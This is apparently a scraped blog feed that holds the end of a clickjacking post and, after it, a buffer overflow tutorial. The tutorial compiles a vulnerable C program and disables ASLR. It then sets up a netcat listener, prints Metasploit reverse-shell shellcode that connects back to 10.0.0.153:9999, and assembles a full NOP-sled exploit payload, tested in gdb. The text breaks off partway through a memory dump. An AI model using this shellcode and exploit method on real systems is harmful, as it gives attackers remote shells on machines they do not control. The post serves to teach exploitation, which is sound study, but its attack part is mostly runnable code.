the victim&#39;s browser: the injecting can be done, as we&#39;ve already seen&lt;br /&gt;
(http://www.playhack.net/papers/18), through a URL&#39;s GET parameter or a user form&lt;br /&gt;
input not sanitized.&lt;br /&gt;
&lt;br /&gt;
Obviously a Non-Permanent XSS vulnerability would require some previous spreading,&lt;br /&gt;
in order to get the victim noticed of the crafted malicious link on which he&lt;br /&gt;
should get.&lt;br /&gt;
-------------------------------------------------------------------------------[/]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---[ 0x05: Conclusions ]&lt;br /&gt;
The clickjacking is a very cute attacking technique that gets even better when&lt;br /&gt;
matched with a Permanent or Non-Permanent Cross Site Scripting vulnerability.&lt;br /&gt;
&lt;br /&gt;
The funny and interesting thing of this attack is that leaves a lot of space to&lt;br /&gt;
the attacker creativity and inventiveness, letting him express the best idea of&lt;br /&gt;
the sublime art of tricking web users.&lt;br /&gt;
&lt;br /&gt;
There are tons of possibilities and i invite you to mail me whenever you create a&lt;br /&gt;
new and smart one you&#39;d like to share ;-)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhbdyJLpF78qaMb20cL1fwA_QhzIpzag88P-JxIL_V3fcHhnbrO2WtoC7HE7_-OGc1GSpMNa_ziSwRnontQvDQbZb5QUHkieYbGmvzXfjDTmTtVXwhyphenhyphenG6iSjPazCh6MJLvfZG-CaqaMkQ/s1600/clickjacking-1-.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;260&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhbdyJLpF78qaMb20cL1fwA_QhzIpzag88P-JxIL_V3fcHhnbrO2WtoC7HE7_-OGc1GSpMNa_ziSwRnontQvDQbZb5QUHkieYbGmvzXfjDTmTtVXwhyphenhyphenG6iSjPazCh6MJLvfZG-CaqaMkQ/s320/clickjacking-1-.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
-------------------------------------------------------------------------------[/]&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/767743848722910944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/767743848722910944?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/767743848722910944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/767743848722910944'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/10/clickjacking.html' title='ClickJacking'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhbdyJLpF78qaMb20cL1fwA_QhzIpzag88P-JxIL_V3fcHhnbrO2WtoC7HE7_-OGc1GSpMNa_ziSwRnontQvDQbZb5QUHkieYbGmvzXfjDTmTtVXwhyphenhyphenG6iSjPazCh6MJLvfZG-CaqaMkQ/s72-c/clickjacking-1-.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-1350008915342493354</id><published>2012-08-15T04:56:00.005-07:00</published><updated>2012-08-15T05:18:03.475-07:00</updated><title type='text'>Buffer Overflow Tutorial </title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;-- Buffer Overflow Tutorial --&amp;nbsp;&lt;/span&gt;&lt;/h2&gt;
&lt;br /&gt;
Hi we are going to do a basic stack overflow on a vulnerable program&lt;br /&gt;
to get a reverse shell&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg591B6uH_sEbhY8J7REZA5whlCtRlYHjTC2nwCZYbtDr_a7S38nSyTHRM7zYX7ovxJGGocYnnuStTa7DzrqAKL4E-lapHn9EuDri1I2273kAA5bLlWZY4qDw8EUJZQSAcATcl7DKlryhk/s1600/buffer_overflow_attack.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg591B6uH_sEbhY8J7REZA5whlCtRlYHjTC2nwCZYbtDr_a7S38nSyTHRM7zYX7ovxJGGocYnnuStTa7DzrqAKL4E-lapHn9EuDri1I2273kAA5bLlWZY4qDw8EUJZQSAcATcl7DKlryhk/s320/buffer_overflow_attack.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I apoligise for my english..it&#39;s not my native language&lt;br /&gt;
&lt;br /&gt;
Our vulnerable program:&lt;br /&gt;
&lt;br /&gt;
-- vuln-prog.c&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int bof(char *string) {&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; char buffer[1024];&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; strcpy(buffer, string);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; bof(argv[1]);&lt;br /&gt;
&amp;nbsp; printf(&quot;Done..\n&quot;);&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; return 1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
-- vuln-prog.c&lt;br /&gt;
&lt;br /&gt;
this program takes a user supplied string and copies it into &#39;buffer&#39; which can hold 1024&lt;br /&gt;
bytes of data. if a user sends 1040 bytes which is more then 1024 bytes.. it would&lt;br /&gt;
cause the buffer to be overflowwed and it would overwrite parts of memory..&lt;br /&gt;
&lt;br /&gt;
lets compile our vulnerable program:&lt;br /&gt;
&lt;br /&gt;
gcc vuln-prog.c -o vuln-prog&lt;br /&gt;
&lt;br /&gt;
We need to disable the linux VA patch to successfully exploit&lt;br /&gt;
this basic overflow..&lt;br /&gt;
&lt;br /&gt;
bash-3.00# cat /proc/sys/kernel/randomize_va_space&lt;br /&gt;
1&lt;br /&gt;
bash-3.00# echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&lt;br /&gt;
bash-3.00#&lt;br /&gt;
bash-3.00# cat /proc/sys/kernel/randomize_va_space &amp;nbsp; &lt;br /&gt;
0&lt;br /&gt;
bash-3.00#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We use a debugger called GDB to debug the program to see what happens if we&lt;br /&gt;
send more then 1024 bytes..&lt;br /&gt;
&lt;br /&gt;
bash-3.00# gdb ./vuln-prog&lt;br /&gt;
GNU gdb 6.5&lt;br /&gt;
Copyright (C) 2006 Free Software Foundation, Inc.&lt;br /&gt;
GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;
welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;
Type &quot;show copying&quot; to see the conditions.&lt;br /&gt;
There is absolutely no warranty for GDB. &amp;nbsp;Type &quot;show warranty&quot; for details.&lt;br /&gt;
This GDB was configured as &quot;i686-pc-linux-gnu&quot;...Using host libthread_db library &quot;/lib/tls/libthread_db.so.1&quot;.&lt;br /&gt;
&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;br /&gt;
we will use perl to supply a buffer which is larger then 1024 bytes and&lt;br /&gt;
enough to overwrite parts of memory.&lt;br /&gt;
&lt;br /&gt;
(gdb) run `perl -e &#39;print &quot;A&quot;x1040&#39;`&lt;br /&gt;
Starting program: /root/Security/Vulntest/vuln-prog `perl -e &#39;print &quot;A&quot;x1040&#39;`&lt;br /&gt;
&lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x41414141 in ?? ()&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;br /&gt;
as you can see we supplied a string which holds 1040 x A&lt;br /&gt;
&lt;br /&gt;
A is 0x41 in it&#39;s hexadecimal format..&lt;br /&gt;
&lt;br /&gt;
now lets see what parts of our memory are overwritten..&lt;br /&gt;
&lt;br /&gt;
(gdb) i r&lt;br /&gt;
eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x1 &amp;nbsp; &amp;nbsp; &amp;nbsp;1&lt;br /&gt;
ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xfffff9e6 &amp;nbsp; &amp;nbsp; &amp;nbsp; -1562&lt;br /&gt;
edx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff8aa &amp;nbsp; &amp;nbsp; &amp;nbsp; -1073743702&lt;br /&gt;
ebx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xb7fcc000 &amp;nbsp; &amp;nbsp; &amp;nbsp; -1208172544&lt;br /&gt;
esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbffff290 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0xbffff290&lt;br /&gt;
ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x41414141&lt;br /&gt;
esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xb7fce17c &amp;nbsp; &amp;nbsp; &amp;nbsp; -1208163972&lt;br /&gt;
edi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x2 &amp;nbsp; &amp;nbsp; &amp;nbsp;2&lt;br /&gt;
eip &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x41414141&lt;br /&gt;
eflags &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x10282 &amp;nbsp;[ SF IF RF ]&lt;br /&gt;
cs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x73 &amp;nbsp; &amp;nbsp; 115&lt;br /&gt;
ss &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x7b &amp;nbsp; &amp;nbsp; 123&lt;br /&gt;
ds &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x7b &amp;nbsp; &amp;nbsp; 123&lt;br /&gt;
es &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x7b &amp;nbsp; &amp;nbsp; 123&lt;br /&gt;
fs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0&lt;br /&gt;
gs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x33 &amp;nbsp; &amp;nbsp; 51&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;br /&gt;
this is a important part to look at:&lt;br /&gt;
&lt;br /&gt;
eip &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x41414141 &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x41414141&lt;br /&gt;
&lt;br /&gt;
eip is the Extended Instruction Pointer, eip contains the address&lt;br /&gt;
to the next instruction.. so basicly it points to the address where&lt;br /&gt;
the next piece of code will get executed..&lt;br /&gt;
&lt;br /&gt;
so overwriting eip with an address which contains our own code&lt;br /&gt;
would allow us to control the flow of the program..&lt;br /&gt;
&lt;br /&gt;
we have overwritten eip with 41414141 which is AAAA&lt;br /&gt;
but 41414141 does not contain any code and is a invalid&lt;br /&gt;
part of memory to point to..&lt;br /&gt;
&lt;br /&gt;
so we have to point it to our piece of code..&lt;br /&gt;
&lt;br /&gt;
to execute our own piece of code we will use something called: SHELLCODE&lt;br /&gt;
&lt;br /&gt;
Shellcode also knows as Bytecode which contains a set of cpu instructons&lt;br /&gt;
&lt;br /&gt;
We will not discuss the process of making your own shellcode&lt;br /&gt;
so we will use metasploit to generate our shellcode..&lt;br /&gt;
&lt;br /&gt;
first of all we want to listen with netcat and wait for a shell to arrive&lt;br /&gt;
&lt;br /&gt;
so lets listen with netcat:&lt;br /&gt;
&lt;br /&gt;
bash-3.00# nc -l -p 9999 -vv&lt;br /&gt;
listening on [any] 9999 ...&lt;br /&gt;
&lt;br /&gt;
netcat is listening on port 9999&lt;br /&gt;
&lt;br /&gt;
now lets get our ip address..&lt;br /&gt;
&lt;br /&gt;
bash-3.00# ifconfig |grep inet&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; inet addr:10.0.0.153 &amp;nbsp;Bcast:10.0.0.255 &amp;nbsp;Mask:255.255.255.0&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; inet addr:127.0.0.1 &amp;nbsp;Mask:255.0.0.0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
our ip address is 10.0.0.153&lt;br /&gt;
&lt;br /&gt;
now lets check if netcat is indeed listening..&lt;br /&gt;
&lt;br /&gt;
bash-3.00# netstat -an |grep 9999&lt;br /&gt;
tcp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0 &amp;nbsp; &amp;nbsp; &amp;nbsp;0 0.0.0.0:9999 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0.0.0.0:* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; LISTEN &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
as you can see netcat is listening on port 9999&lt;br /&gt;
&lt;br /&gt;
Lets browse to:&lt;br /&gt;
&lt;br /&gt;
http://metasploit.com:55555/PAYLOADS?MODE=SELECT&amp;amp;MODULE=linux_ia32_reverse&lt;br /&gt;
&lt;br /&gt;
to generate our shellcode..&lt;br /&gt;
&lt;br /&gt;
Fill in the form:&lt;br /&gt;
&lt;br /&gt;
LHOST&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Required&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ADDR = 10.0.0.153&lt;br /&gt;
LPORT&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Required&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;PORT = 9999&lt;br /&gt;
&lt;br /&gt;
and click Generate Payload..&lt;br /&gt;
&lt;br /&gt;
which generates us the following:&lt;br /&gt;
&lt;br /&gt;
/* linux_ia32_reverse - &amp;nbsp;LHOST=10.0.0.153 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com */&lt;br /&gt;
&lt;br /&gt;
&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e&quot;&lt;br /&gt;
&quot;\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c&quot;&lt;br /&gt;
&quot;\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d&quot;&lt;br /&gt;
&quot;\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6&quot;&lt;br /&gt;
&quot;\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e&quot;&lt;br /&gt;
&quot;\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;;&lt;br /&gt;
&lt;br /&gt;
as you can see our shellcode is 96 bytes large.&lt;br /&gt;
&lt;br /&gt;
lets strip it off&lt;br /&gt;
&lt;br /&gt;
\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&lt;br /&gt;
&lt;br /&gt;
this piece of shellcode will connect back to 10.0.0.153 on port 9999 where netcat is listening... and provide a shell&lt;br /&gt;
&lt;br /&gt;
now to find our shellcode in memory would be a pain in the ass and it wouln&#39;t we flexible&lt;br /&gt;
so we need to use the NOP method.&lt;br /&gt;
&lt;br /&gt;
a NOP is a instruction which does nothing (No Operation - 0x90)&lt;br /&gt;
&lt;br /&gt;
so we place a set of NOP instructions (nopsled) before our shellcode&lt;br /&gt;
and point eip to somewhere in our NOPSLED , our payload should look&lt;br /&gt;
something like this&lt;br /&gt;
&lt;br /&gt;
[garbage data - A&#39;s (0x41)] - [nopsled] - [shellcode] - [eip]&lt;br /&gt;
&lt;br /&gt;
Now we need to calculate howmuch we exactly need to send:&lt;br /&gt;
&lt;br /&gt;
we used 1040 bytes to overflow eip with 0x41414141&lt;br /&gt;
&lt;br /&gt;
eip is 4 bytes so:&lt;br /&gt;
&lt;br /&gt;
1040 - 4 = 1036&lt;br /&gt;
&lt;br /&gt;
then we need 96 bytes for our shellcode&lt;br /&gt;
&lt;br /&gt;
1036 - 96 = 940&lt;br /&gt;
&lt;br /&gt;
and we can use 940 bytes for our garbage data and our nopsled.&lt;br /&gt;
&lt;br /&gt;
ill use 340 bytes for our nopsled..&lt;br /&gt;
&lt;br /&gt;
so thats 340 x 0x90&lt;br /&gt;
&lt;br /&gt;
940 - 340 = 600&lt;br /&gt;
&lt;br /&gt;
and there are 600 bytes left to use for garbage data&lt;br /&gt;
&lt;br /&gt;
thats 600 x A (0x41)&lt;br /&gt;
&lt;br /&gt;
our payload should look like this:&lt;br /&gt;
&lt;br /&gt;
600 x A(0x41) + 340 x NOP(0x90) + 96 bytes of shellcode + 4 bytes of EIP = 1040 bytes&lt;br /&gt;
&lt;br /&gt;
PAYLOAD:&lt;br /&gt;
&lt;br /&gt;
`perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;BBBB&quot;&#39;`&lt;br /&gt;
&lt;br /&gt;
we will overwrite eip with BBBB (0x42424242) for debugging purposes..&lt;br /&gt;
&lt;br /&gt;
(gdb) run `perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;\x40\xf7\xff\xbf&quot;&#39;`&lt;br /&gt;
The program being debugged has been started already.&lt;br /&gt;
Start it from the beginning? (y or n) y&lt;br /&gt;
&lt;br /&gt;
Starting program: /root/Security/Vulntest/vuln-prog `perl -e &#39;print &quot;A&quot;x600,&quot;\x90&quot;x340,&quot;\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16&quot;,&quot;BBBB&quot;&#39;`&lt;br /&gt;
&lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
0x42424242 in ?? ()&lt;br /&gt;
(gdb)&lt;br /&gt;
&lt;br /&gt;
as you can see eip got overwritten with 0x42424242 which is BBBB and BBBB is the last&lt;br /&gt;
part of our payload which we used to overwrite eip..&lt;br /&gt;
&lt;br /&gt;
now we need to point eip to our nopsled instead of 0x42424242&lt;br /&gt;
&lt;br /&gt;
lets analyze our memory and see where our nopsled is:&lt;br /&gt;
&lt;br /&gt;
(gdb) x/2000xb $esp&lt;br /&gt;
&lt;br /&gt;
now lets hit enter untill we see a huge set of NOP instructions (0x90)&lt;br /&gt;
&lt;br /&gt;
0xbffff6e0: &amp;nbsp; &amp;nbsp; 0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41&lt;br /&gt;
0xbffff6e8: &amp;nbsp; &amp;nbsp; 0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41 &amp;nbsp; &amp;nbsp;0x41&lt;br /&gt;
0xbffff6f0: &amp;nbsp; &amp;nbsp; 0x41 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff6f8: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff700: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff708: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff710: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff718: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff720: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff728: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff730: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff738: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff740: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff748: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff750: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
0xbffff758: &amp;nbsp; &amp;nbsp; 0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90 &amp;nbsp; &amp;nbsp;0x90&lt;br /&gt;
